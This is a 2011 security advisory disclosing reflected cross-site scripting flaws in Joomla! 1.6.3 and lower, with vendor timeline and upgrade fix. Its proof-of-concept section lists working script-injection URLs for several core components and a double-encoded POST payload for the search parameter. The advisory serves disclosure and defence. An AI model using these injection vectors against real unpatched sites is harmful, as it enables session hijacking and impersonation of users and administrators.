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 Joomla! 1.6.3 and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities (CVE-2011-2509)
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1. OVERVIEW

Joomla! 1.6.3 and lower are vulnerable to multiple Cross Site Scripting issues.


2. BACKGROUND

Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets. It comprises a model–view–controller (MVC) Web application framework that can also be used independently.
Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design patterns, stores data in a MySQL database, and includes features such as page caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support for language internationalization.


3. VULNERABILITY DESCRIPTION

Several parameters (QueryString, option, searchword) in Joomla! Core components (com_content, com_contact, com_newsfeeds, com_search) are not properly sanitized upon submission to the /index.php url, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 


4. VERSION AFFECTED

1.6.3 and lower


5. PROOF-OF-CONCEPT/EXPLOIT


component: com_contact , parameter: QueryString (Browser: All)
===============================================================

http://localhost/joomla163_noseo/index.php?option=com_contact&view=category&catid=26&id=36&Itemid=-1"><script>alert(/XSS/)</script>


component:com_content , parameter:  QueryString (Browser: All)
===============================================================

http://localhost/joomla163_noseo/index.php?option=com_content&view=category&id=19&Itemid=260&limit=10&filter_order_Dir=&limitstart=&filter_order=><script>alert(/XSS/)</script>


component: com_newsfeeds , parameter: QueryString (Browser: All)
=================================================================

http://localhost/joomla163_noseo/index.php?option=com_newsfeeds&view=category&id=17&whateverehere="><script>alert(/XSS/)</script>&Itemid=253&limit=10&filter_order_Dir=ASC&filter_order=ordering


parameter: option (Browser: All)
====================================

http://localhost/joomla163_noseo/index.php?option="><script>alert(/XSS/)</script>&task=reset.request


component: com_search, parameter: searchword (Browser: IE, Konqueror)
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[REQUEST]
POST /joomla163/index.php HTTP/1.1
Referer: http://localhost/joomla163/
User-Agent: Konqueror/4.5
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: localhost
Accept-Encoding: gzip, deflate
Content-Length: 125

option=com_search&searchword='%2522%253C%252Fscript%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E&task=search
[/REQUEST]

This searchword XSS was identified via source code: http://yehg.net/lab/pr0js/advisories/joomla/core/1.6.3/xss/XSS%20%5bMode=SEO,NON-SEO%5d/(searchword)_xss_vuln_code_portion.jpg


6. IMPACT

Attackers can compromise currently logged-in user/administrator session and impersonate arbitrary user actions available under /administrator/ functions.


7. SOLUTION

Upgrade to Joomla! 1.6.4 or higher


8. VENDOR

Joomla! Developer Team
http://www.joomla.org


9. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


10. DISCLOSURE TIME-LINE

2011-05-26: notified vendor
2011-06-28: vendor released fix
2011-06-28: vulnerability disclosed


11. REFERENCES

Original Advisory URL: 
http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.3]_cross_site_scripting(XSS)
Vendor Advisory URL: http://developer.joomla.org/security/news/352-20110604-xss-vulnerability.html
XSS FAQ: http://www.cgisecurity.com/xss-faq.html
OWASP Top 10: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
CWE-79: http://cwe.mitre.org/data/definitions/79.html


#yehg [2011-06-28]